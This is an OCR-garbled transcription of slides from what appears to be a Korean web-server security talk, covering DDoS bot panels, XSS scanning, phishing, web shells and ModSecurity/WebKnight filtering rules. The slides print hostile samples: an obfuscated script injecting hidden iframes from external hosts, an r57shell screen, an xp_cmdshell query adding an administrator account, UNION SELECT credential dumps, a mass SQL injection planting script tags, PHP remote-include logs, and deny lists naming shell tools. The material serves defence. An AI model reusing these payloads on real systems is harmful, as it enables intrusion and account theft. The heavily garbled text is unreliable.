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[0S]TCP Flood  [0G]TCP Mult-Connect  [03JHTTP GET Nothing  [12]5i marq:%ulu Attack
Use Selected PCs(Task0)
Target: http://www.target. com/show.asp?id=123

New connect PCs auto attack

] VIP 5.3 Version [ = TET 5]
File() Functions() About (B)
~ P23 L 8 S
Online PC DDoS Update IP Setting Build Server HomePage Exit
Common Attack: WEB Attack: Speical Attack: Combine Attack: New Attack:

[D1JSYN Flood  [02/CMP Flood [07NoCache Get Flood [10]CQ Game Attack  [13]5YN+UDP Flood  [16JFin_Wai1 Attack.
[03JUDP Flood [04]UDP SmallSize  [DBICC Attack. [11]Route Attack [14)CMP+TCP Flood  [17]Fin_Wait2 Attack
[15JUDP +TCP Connect  [18]E stablished Attack.

Pot: 80 Atack Type: [08 v | Thead: 10 [5]  Num 100 Use Selected PCs to Attack

Auto Select PCs(Task1-4)

Type:/gg_vl Thiead: 10 2] Num: 100 ) Target wowtargetl.com Port: g0
Type:/tﬂ—V\ Thread: 10 :— Num: 100 :— Target: www.target2.com Port: 80

Type: [03 ~ ] Thiead 10 (5] Num 100 (2] Target: wwwlargetd.com Port: 80

Type: Thiead: 10 2] Nume 1002 Target www.targetd.com Por: 80 [LAack] | Siop

ficle CC Attack(Task5)
Wildeard Uil http:/ v target com/showlist. asp7id=%d

Thread: 10 Num: 100

Target should be IP.DNS and URL.CC AttacktCircle CC need URL as target
IP Evample: 202139.24.35
DNS Example: www.baidu.com
URL Example: http://www. abe. com/show.asp7id=123
hitp: /. abe. com/index html

Succeed to send [File Manage] command Listen On Por

Change Param: 11

2 Use Selected PCs to Attack
to replace the number in URL you want to change by step So bots can ciculation visi these URLs.

t 8088 Succeed

=132

Total OnLine [434]
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- O} HE, Qam
- Jlsoll met
- ZATE (=
FOFE AJjY
- &lH =2 22 victim= 0l A

M acunetix

www.acunetix.com [ %9 Scan Thread 1 ( http://bld01/filesFromParamvalue/ )

= [l Web Alerts (3)
= @ Cross Site Scripting (verified) (3)
web [c3] |:| [filesFromParamValue HiddenFolder /AnothersS...
Yulnerability
Scanner

Bl
©
>..
i o
ol —

EO'E
— =

cunetix 21 & Al &0 =

1>

Status
Finished (3 alerts)

M acunetix

ross Site Scripting (verified) HiGH

Vulnerability description

WEB APPLICATION SECURIT

=] |:| [filesFromParamValue HiddenFolder2/ThirdSec. ..
=2 @ x(1)
variant 1
3] |:| [filesFromParamValue /SomeSecretFile.php (1)

This scriptis possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send

cLouD\

=] Q Knowledge Base (1)
List of files with inputs
& (3 Site Structure
=28/

malicious code (usually in the form of Javascript) to another user. Because a browser cannot
know if the script should be trusted or not, it will execute the script in the user context allowing the
attacker to access any cookies or session tokens retained by the browser.

This vulnerability affects /filesFromParamValue/HiddenFolder2/Third SecretFile.php.

5@ filesFromParamValue oK Discovered by: Scripting (XSS.script).

- (@ HiddenFold OK N

5 tdacerFolcer . Attack details
=] AnotherSecretFile.php OK

=2 OK URL encoded GET input x was set to 2"()&%<ScRiPt >prompt(988282)</ScRiPt>
B (@ HiddenFolder2 oK )
¥
=} @ ThirdSecretFile.php oK ¥, \/!ew HTTP headers
s g oK ¥ View HTML response
Copyrighto 2005 Acunetix limited 5 IB SomeSecretFile.php oK ® Launch the attack with HTTP Editor
7 b ® Retest aleri(s)
waw X= & e
® Markthis alert as afalse positive
This program is protected by American and inte| e Variation 1 for user-agent oK ; p
e = 5 wew fname=bad OK The impact of this vulnerability
Initialize authentication tester frame ... b Vition 2 o G it =
B Famecisid Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable
e i oS application to fool a user in order to gather data from them. An attacker can steal the session
e fname=SGKZ... oK cookie and take over the account, impersonating the user. Itis also possible to modify the content
wee fname=Somes... oK of the page presented to the user.
[&] cookies

How to fix this vulnerability

MHINE 12, 4 core & 18,000
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B» webknight & mod securitySM,L”%SERb

- webknight : windows iis —?—E '?élltgﬁl'li:'. we:::n)ehttoztllesActszevlylxd
ebKnig .1 Setup Wizar

http://www.agtronix.com/?PagelD=99

The Setup Wizard will install AQTRONIX WebKni
your computer, Click Next to continue or Canc
Setup Wizard.

ight 2.1 on
el to exit the

N

- mod security : OfI} X| {8t o

http://www.modsecurity.org/

cl=sA, OFIFX| A & BHaHH
modproxy 2t & 0| =& ot ModSecurity 30
windows B ESIHOZ L AIE IS B auatiable

Bloodletting the Arms Race: Using
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SMILESER
'S‘é’/

1. php injection ~2=4F¢] ¢ & glo]

2.XSS A4F9] 912 k5 meta tag / output escape & 4] =52
Al A 2] fého]L} E/H:éh Z S oA A AAFEE A S} 94—1*
2277 295 I E A E]r (java script, vb script,activex,flash etc

3. Sql injection 14~ 4F9] DB H d5dHd HebH o= 420 328 Query StringS ©] 831
%S 9353171} DBY oM A= 2 Aglete] ot mE WA 2 okl HEE d oIt
Dboll A 7153 =2 (insert update delete declare) ©] 7} 3}, |tembay%— T QA HE2
NAEH =0 O] 7]‘?383 EEH AT

4. Parameter Manipulation ] A~2=/Jol| 4] W12 13| ParameterstS 5314 %3
A= vhA okt A 275 Hlo) A Y HEs ALFEY HIAE O]%ﬁﬂ Hs
(-EFJ 1}551 A7, 553 A=A HolA] HE, R

T —

5. Directory/path traversal Tl E’“Eﬂ/ﬁi ghAl FH ok e A o] A B Y
2

4 5}1;-1 OJl/\/\uﬂoJ =] xﬂ == (74 12 =S ,le—/\(—)] A= %’ﬁ A] °J1 )Jl_/] X}‘rr

6. 7] E} (Session Hijacking / cookie spoofing / Web Brute force) <1
OWASP 10t # 5
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ft Internet Explorer

mH(E) HIIM) SAHFRINLA) ERAD ESEH l el

Q- © < &) B Sowm @[ 5B

=
HE 2] 1000dedi.net &) 22| AHH 0| X HHERSNZEZ Elcap Firewall ] KRCERT.OR.KR &] Nessus Support Center 2] Webmail
€] €] 2] e’l p 2] €] pp €]

Z2:(D) [&] http://okars, net/POSTE/login, html =] ols
- - Giovedi 31 Maggic 2007 ivati | i PA. =
Posteitaliane , °~ * "> priver! |Llimpiest'e
SERVIZI > PRODOTTI > i {slelnymp GEES 22

ONLINE POSTALIL BANCOPOSTA == :
= = E ST 2 SeErv 2 English

carte postepay Servizi online per i titolari di carta postepay
Accedendo ai servizi online puoi visualizzare le informazioni (saldo, lista moviment, ricarica online)
relative alla tua carta, pagare i bollettini ed effettuare le ricariche

Carta postepay
Post
Servizi online

curezza

Inserisci i tuoi dati identificativi:

Poste.it ti segnala...

..BancoPostaonline Mome utente: I Password: I |_k'|>Esegui

Come utilizzare i servizi della carta postepay ~=2.— Pagamento bollettini

Per utilizzare su www.poste.it i servizi online Con la carta postepay puoi pagare
della carta postepay (informazioni, pagamento online, in modo semplice e sicuro, i

di bollettini, ricariche, ecc.) occorre essere bollettini relativi a utenze, tributi e

registrati al sito, Dopo esserti registrato contravvenzioni.

riceverai, nella casella postale Postemail, tutte

le cormnunicazioni relative alla tua carta. Dopo un *» Visualizza quali bollettini puci pagare con carta
giorno lavorativo, inserendo i dati identificativi, postepay

potrai usufruire dei servizi informativi e » Orari e costi del servizio

dispositivi della carta.

>> Registrazione al sito

| home Privati | contattaci | mappa del sito | personalizza visualizzazione |

N

€l ] ] i =
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mF(Ey MmEE) HIIV) SAHF?IA ERHI E=S2H) -
Gr=- O @@ aa feren @ 2

A

3@ http://moldova, worldcarp. org/chat/uploads/upload. php?tmp

07-03-2007 10:44:22 [phpinfo ] [php.ini] [cpu] [mem ] [users ] [ tmp ] [ delete ] A
i m . safe_mode: OFF PHP version: 4.4.2 cURL: OFF MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
r57shell 1.31 Disable functions : NONE

i Free space : 24.37 GB Total space: 146.71 GB

E | Linux localhost 2.6.9-34.0.2.Elsmp #1 SMP Fri Jul 7 18:22:55 CDT 2006 x86_64 x86_64 x86_64 GNU /Linux

Linux 2.6.9-34.0.2.ELsmp

nux-gnu

i Apache /1.3.34 (Unix) PHP /4.4.2

i id uid=99(nobody) gid=99(nobody) groups=99(nobody)

| /home2 /hosting /moldova /chat/uploads (drwxrwxrmex )

a

E 18530343 druXruwxXruwx 2 moldovaftp nokbody 4096 3224093 .

§ 18530316 dAruXrwXrwx 13 moldovaftp nobody 4096 32240491 ..

E TSSIOT2  —rw—r——r—— 1 moldovaftp moldovaftp 13021 102201:49 avatar @szmandius.ipg

E 9928719 —rw—r——r—— 1 moldovaftp moldovaftp 5771 102201:46 swvatar sharlota. jpg

| 18530731 —-rw—-r——r—— 1 moldovaftp nobody 16429 122 2006 awvatar_ testpilot.gif
18530732 —rw—r——r—— 1 moldovaftp nokbody 52 122 2006 index.htrl

| 18530730 —-rw—-r——r—— 1 moldovaftp moldovafcp 7512 102201:58 no_ avatar.jpg

E 18531213 —rw—Yr——r—— 1 nokbody nokhody 1061458 102?218:25 upload.php

:: Execute command on server ::

Run command » |

Execute

L e

e for edit » Edit file

§/home2/hosting/moldova/chat/uploads

| Execute

Selectalias » | find suid files |

| Find text » tex i
E Indirs » /home2/hosting/moldova/chatfuploads  *(froon/homeiftmp )
! Only in files » r~ {r;}:xt‘- .php * ( tut:.phpi.htm )

:: Search textin files via find ::

i Texnt for find » itext Fn{cT
Find in folder » /home2/hostnng/moldova/chat/uploads S e e
Flnd in files » * | [hc] SRR

%/ * delete sScript *7
i//unlink("rs’fshell.php") >
| //readfile ("/etc/passwd”) )

i€

-

Cotall



,,Q_}/\-fl A= HH EZ] Q]._g_ SM".ESSE?E\%U
h"..?

P index[1]1 — HIZ2ZEr
OF(Fy MWEE) MA0) H2I(Y) S=SUH)

</body>
<Ahtml>

<script language=javascript>document.write{unescape{ " %3cZ49%246%52%41%24d%245%20%53%52%43%3d%
22 B T N T N L 7 03 a s 2 F 2 F 63 7 2 7 o 6 65 L T U 2e 69 %6 6066 F 2 F 6 F 75 %7 U %2e %7 026827 0%3F%73%5F%
69%64%3d%31%22%20%5 72492 an%S S N8%3d%3 022 024232522 uaSN5%52%3d%30%2 0% 4835 N7IA8Z54%3dS
30207 3 T UL T %O6C 65 % 3d 2 2 %6 U6 9% 7 3% 7 B%6C 6147 9%3a%6e%6F%6e%65%22%3e%3Cc%2F2U492%u6%52%u41%4d%
LS Be 3 C U UGS 2 a1 ud USRS 2 05 3 %5 2 U3 % 3d L 2 2 %6 8 e T UL T UL 7 043 a% 2 F X2 F %6 F%6e%6Cc%69%6e%65%70%72%
O F 78696573 2e 63 6 26d 2 F 6 F L 7 S A T U 2e 7 D68 7 03 F 473 %5 F%069%64%3d%31%22%20%5 72492 44%54%
U8%3d%3 0% 20 U2 uF 25 2 U U5 %5 2%3d %3 0% 2 02 U8 L US UL N7 U8B N Z3d %3 0% 2 0% 7 3% 7 UL 79%6CcZ65%3d%22%64%
69 %73 %7 0%6C L6 1% 79%3a%6e%6Ff%26e%65%22%3e%3c%2F2U49%u6%52%u1%24d%245%3e " ) )< /script>

S} LROAY - ~) LdRDIE~

tr valign=
table>

Opt:" id="ob]

iframe src="http://scantimne.nnv88.cn/2007. htn" IR eI N AT
="0"><fiframe:
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EHUHSHEH(EIEM)Z 2 W2 E2eS
2 2= Administrator 22| 22l XHAHAEO0] MM

SN

ZIHI Ol Xl AA aspll sql injection HAEE=

HAE xp_cmdshell 2 ALZ5HX| QO BIA Al 85| & ALEf
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g A SHARIL T 31 SMILESERV

) i SC e u: LISTENING
P we 1 s0BL: s scan-23cs LISTENING
B 7 scan | LISTENING

< 4 LBRE oL dL eDsSC csoolooaad o WBEHNSEAR- a8 00L; U 2
A ccproxy.exe: 3292 webscan-23csob 95:2718 ESTABLISHED
<) CCprosy.exe: 3292 webscan-23csobu: 808 95:2717 ESTABLISHED
webscan-23csobu: 808 95:2675 ESTABLISHED

8 10 12 14 16 18 20 22 0 2 4 6 8 10 12 14 16

< ccproxy S&Al EcHE SAAEH >
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320.0 M

240.0 M {--:
160.0 M -4

80.0 M {-

Bits per Second

0.0 M

024681012141618202202468

28.0 kK

21.0 k

Pps

14.0 k -4
7.0 k

O.OKE:Z;:Z;:Z;:Z;:Z;::;:Z"EI:E:ZE:}:.:

0246810121416182022024.68

ZA}: <iframe src="2}A I =] £ ] .com/ind.php” > & ¢ 514
AArlo] EE B35 Client pedl] M Z =S A X o}oq =)= o}
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yaMod_Security 2 7 SMILESERV
~e

SecRule REQUEST_URI "=(http|https|ftp):/" "deny,log,auditlog,status:406,msg:'php injection 32 X} "
(4dl: http://xxxxxxx.com/board.php?include_path=http:/)

SecRule ARGS:boardid "![a-z]" "deny,log,auditlog,status:406,msg:'boardid="A} 7} o} A =}k
(oll: http://xxxxxxx.com/board.php?boardid=-A})

SecRule REQUEST_URI "/board.php" chain
SecRule ARGS:id "!(board1|board2)" "deny,log,auditlog,status:406,msg:'board.php?board1 ©] o} X}t
(4l http://xxxxxxx.com/board.php?id=board1 or board2)

SecRule ARGS:no "I[0-9]$" "msg:' Al Al & 2] HE 7} A7) of Y X
(] http://xxxxxxx.com/boardphp?id=board1&no==:2}: E2tg] o of 3, Bl o] A} A5 915

SecRule REQUEST_URI "/upload.php" chain

SecRule ARGS_NAMES "lup" "deny,log,auditlog,status:406,msg:'upload.php?up®| o} }c
(ol http://xxxxxxx.com/upload.php?up(0)=file)
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AR 3ol 93] M= L YA 2AYSe, 2 PR E,FAS 48

> lscan end »_Path= "powered by doodle cart”
> lscan htf /includes/dbal . php?eqdkp_root_path= "powered by Eldkp”

Status #

mod_security €

PHP Injection &

62.xxx.xxx.103 - - [11/Jul/2008:01:56:14 +0900]

"GET /sub_page/ani/ani.html?C_Uid=http%3A%2F %2F www.xxxxxxxx%Z2F archiv%2Fimages%2F
HTTP/1.0" 200 1276 "-" "Mozilla/5.0 (Twiceler-0.9)"

Mod_Security X}9&
SecRule REQUEST_URI "C_Uid=(http|https|ftp):/" "deny,log,auditlog,status:406,msg:'PHP Injection Attacks™

#4

php.ini : Allow_url_fopen off (Remote include injection *-4])
SecRule REQUEST_URI "=(http|https|ftp):/" "deny,log,auditlog,status:406,msg:'PHP Injection Attacks™

SinkHole : http://s4.knsp.org ZE& U A H
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¥ PHP Injection 3] 3l A H SMILE,S;ERV

o}u} 2] & 71: Php injection &2 ©

f2007:0 36 +0900] " 0ST httr '/ 25/ HTTP/1. 0"

/ 41 +0900] "POS oy / HTTPR/ 7]
o [leJqu200?=03:33 10 +0300] 'GET /sub_ pagefanlfanl html ?C_Uid= http%SA%ZF%ZFwww kr
vZ2Farchiv%2Finages%2Finc%2F HTTP/1.1" 200 24591
- - [19/Jul/2007:03:33: 11 +0800] "GET fsub_pagef/dance/dance.htm|?C_Uid=http%3A%2F%2Fuw
W, k 1. de%2Farchiv%2Fimages%2Finc%2F HTTR/1.1" 200 25145
125 - - [19/Jul/2007:03:33:14 +0900] “"GET /sub_page/dance/dance.html?C_Uid=http%3A%2F%2Fwwy
kr de%2Farchiv%2Finages%2Finc%2F HTTP/1.1" 200 25145
202 - - [19/Jul f/2007:03:33:24 +0800] "GET fsub_pagefanifani.html?C_Uid=http%3a%2F%2Fuwe.kr
ipp v2Farchiv%2Finages%2Finc%2F HTTP/1.0" 200 24591
74. - [19/Jul/2007:03:33: 36 +0900] "GET /sub_page/dance/dance.html?C_Uid=http%34%2F%2Fuwy.
kri le%2Farchiv%2Finages%2Finc%2F HTTP/1.0" 200 25145
- [19/Jul /2007:08:40:08 +0800] "GET /fsub_pagefanifani.htm!?C_Uid=http%34%2F%2Fforum.je
Jrg%2F|ncIudes%2F|nc%2F HTTP/1.0" 200 24585
- [20/Jul/2007:02:29:23 +0900] "POST http:/ (I 25/ HTTP/1.0" 200 -

2 1%
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Z7} . PHP Injection

SecRule REQUEST_URI "W?bn_id.*(ftp| http | https)"

SecRule REQUEST_URI "login.php.*(ftp | http | https)"

SecRule REQUEST_URI "W?phpbb_root_path.*(ftp|http| https)"
SecRule REQUEST_URI "W?themesdir.*(ftp| http| https)"
SecRule REQUEST_URI "W?openid_root_path.*(ftp|http| https)"
SecRule REQUEST_URI "W?ff_compath.*(ftp| http | https)"
SecRule REQUEST_URI "W?BaseCfg.*(ftp| http | https)"

SecRule REQUEST_URI ".*SRC_PATH.*(ftp | http| https)"
SecRule REQUEST_URI ".*site_path.*(ftp|http| https)"

SecRule REQUEST_URI "C_Uid.x(ftp | http| https)"

18t ZF php injection HE IHE FIOt2 EM
(FH2 S° €FMAUA &elE HAE)
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Atsl¥ 5 37} User-agent

SecRule REQUEST_HEADERS:User—agent "extcalendar" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "DreamStats" "msg:'This User Agent is Not Allow'"
SecRule REQUEST_HEADERS:User—agent "phpBB-Es" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "WonderEdit" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "phpCOIN" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Aardvark" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Topsites" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Nitzschner" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "PHPCurrently" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "PHPClique" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "PHPQuotes" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "AllIMyGuests" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Limbo CMS" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "runcms" "msg:'This User Agent is Not Allow""

SecRule REQUEST_HEADERS:User—agent "newbb_plus" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Lokal" "msg:'This User Agent is Not Allow""

SecRule REQUEST_HEADERS:User—agent "E—Xoopport" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "codebb" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "Mambo" "msg:'This User Agent is Not Allow""

SecRule REQUEST_HEADERS:User—agent "iaprcommence" "msg:'This User Agent is Not Allow""
SecRule REQUEST_HEADERS:User—agent "powered by mambo" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:User—agent "powered by doodle cart" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:User—agent "powered by EQdkp" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:User—agent "powered by vbulletin" "msg:'Recon/Google attack"
SecRule REQUEST_HEADERS:User—agent "powered by phpCOIN 1.2.3" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:User—agent "powered by Integramod" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:User—agent "powered by phpecard" "msg:'Recon/Google attack"
SecRule REQUEST_HEADERS:User—agent "powered by CubeCart 3.0.6" "msg:'Recon/Google attack"

O
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Dinurl 2 SOl urllhol] EF 24Y

TI2H M
GO()Sle IinurI:".*/index.php?option=com_comproﬁ|er" R ggg%
@ HHYU2MH C =20 Y

3 a8 22z 200

[ O HIOIA HY5E7] ]
nity for Authors, Writers, Poets, and their Readers.
m/index.php?.., - H&E HOIX - SAFEFHOIA

= i '

The Real News Network - Registration - [ 0] HO|Z =517 ]
E— byl is @ non-profit news and documentary network focused on providing
i brpromising journalism. Our staff, in collaboration with courageous

t . php?option=com,, .task... - S AFEF HO| A

Mod_Security XtEHE

SecRule HTTP_Referer ".*/index.php?option=com_comprofiler"
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Agsts & 571 Referer

SecRule REQUEST_HEADERS:Referer ".xfolder.php?id=.*" "msg:'Recon/Google attack"
SecRule REQUEST_HEADERS:Referer "entry.php?id=*#x" "msg:'Recon/Google attack"

SecRule REQUEST_HEADERS:Referer ".xdex/.*.php?c=.*w=.*t=." "msg:'Recon/Google attack"
SecRule REQUEST_HEADERS:Referer "inurl:?page=login" "msg:'Recon/Google attack'"

SecRule REQUEST_HEADERS:Referer ".xbr.*/newbb_plus/*" "msg:'Recon/Google attack'"
SecRule REQUEST_HEADERS:Referer "allintitle:Lokal V 2" "msg:'Recon/Google attack'"

SecRule REQUEST_HEADERS:Referer "newbb_plus" "msg:'Recon/Google attack'"

SecRule REQUEST_HEADERS:Referer ".*/newbb_plus/.*=" "msg:'Recon/Google attack'"
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17:50:28 ; W3SUC280274456 ; OnUrlMap ; 115.68.62.226 ; ; /fuck_jp.asp ;
c:Wuwwwttfuck_jp.asp ; BLOCKED: accessing/running 'fuck_jp' file ; explorer=page_me |

Webknight : Requested File — Use Denied Files

[V Use Denied Files Default: Vv

Deny the filenames/CGI applications specified in 'Denied Files' from being accessed or run.

Denied Files:

Values I -~
CCProxy

cain

fuck_ijp

webshell

web_shell

cmd_shell

®p_com

crdshell

cmdshell_xp -
These are the filenames/CGI applications that are not allowed.
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UserAgent : 2cl0/|HEZ2| AgentdtE EUZ XtH

S AANCH D72 Agent &0l ZXHot( 012 OHXIAl X+HE

2009-87-23 ; 14:34:07 ; W3SUC280274456 ; OnPreprocHeaders ;
5 5 GET ; /mail/send_mail.asp ; HTTP/1.0 ; X-Mailer-uU10 ;
BLOCKED: 'X-Mailer-U18' not allowed in User Agent

Webknight : User Agent — Use Denied User Agents

12 Robots.xml 33

Denied User Agent Sequences:

Values l

Nessus-Check
NBSI

These are the denied User Agents sequences,
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Referrer: 54 A&7 &2 Ad

Google A5 23 54 FH 3y A4 @] B2 referrer 2}

GOUgle ;inurl:"tags.php’?BBCodeFiIez"

0¥
1=
Eﬂ
M
¥
&

® HH gEM O 30 &

g @ #HHMeR =], 1-10°
di glesias tags php bbcodefile http www ezymart ... &d - [ 0] HOIF =510 ]

di glesias tags php bbcodefile http www ezymart com au images id txt rapidshare links

ay nload. Our system daily checked working links for downloading ...

ra

discografia+julio,,, - AZE! HOIA

96
963
ra

bdefile http www onmic it docebo docebocms modules ... &d - [ 0 HOIFA #5001
ndefile http www onmic it docebo docebocms modules subscription fx29id1 txt
vailable for download. Our system daily checked working links for downloading ...

rap

p62+tags+php...it... - HZE HOIF

& 2UEL
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v iUse Referrer Hot Linking 2llow Domains:
Only allow certain domains to use hot linking.

Referrer Hot Linking allow Domains:
Values

Webknight : referrer — Use Deny Referrer Sequences

Sincef§002

2 SMILESER

Default: v

localhost
127.0.0.1

The domains (FQDN) or IP addresses that are allowed to use hot linking
this list, see setting: "Use Host Header".

¥ Use Deny Referrer Sequences

Deny certain character sequences in the referrer URL.

Deny Referrer Sequences:
values
index.php?pagina=

. ¥You do not need to add your own domain to

Default:

inc_ext/spaw/dialogs/table.php?spaw_root=
tags.php?BBCodeFile=

The list of denied character sequences in the referrer URL.
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QueryString

AAOl FHoES Ll UR EENS ARGS o String I+ DHXIGHS Xte+at
QEAAO SHAE DAYEE HHEE L FR5IC

(oll: httpi//x;xxx;xxxx.c m/sig

18:11:21 ; W3SUC280274456 ; OnUrlMap ; XxXX.XXX.XXX.XxX ; ; POST ; /suu.asp
goldsun=thepathof;exec master%2E%2Exp_cmdshell ‘cmd.exe /c net user abc love /fadd &
net localgroup administrator' ;HTTP/1.1 ; BLOCKED: 'cmd.exe’ not allowed in
querystring ;Connection: Keep-Alive Accept: image/gif, image/jpeg, image/pjpeg,

Webknight : QueryString - Denied Querystring Sequences

Denied Querystring Sequences:

Values | -
crd.exe
%p_crmdshell

webshell

web_shell

cmd_shell

Kp_com

crdshell

crmdshell_xp

shell_bot v

These are the character sequences not allowed in the querystring,
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[key]=[value]' DECLARE @T varchar(255), @C varchar(255);
%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20"'='
id=—1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,
0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1";
82cIaRE%20@S%20NVARCHAR(4OOO) ;SET%20@S=CAST(0x6400650063006C00610072006500200

8006D002000760061 00720063006800610072002800380030003000300029003B007300650074002

EXEC('update [' + @T + '] set [' + @C + '] = rtrim( convert(varchar,[' + @C + ']))+'
'<script
SrC=hE[)tpl//xxxxx.Com/1 js></script>'" );720063006800610072002C0027002B80062002E006E00

RAEBkAIYHECSGI o @8l Injection keywords

SQL Injection Keywords:

Values

declare
varchar
union
select
where
cast(
exec
rtrimi
convert

These are the SQL keywords for the SQL injection scanning. If two or more are found an alertis triggered and the
request will be blocked.
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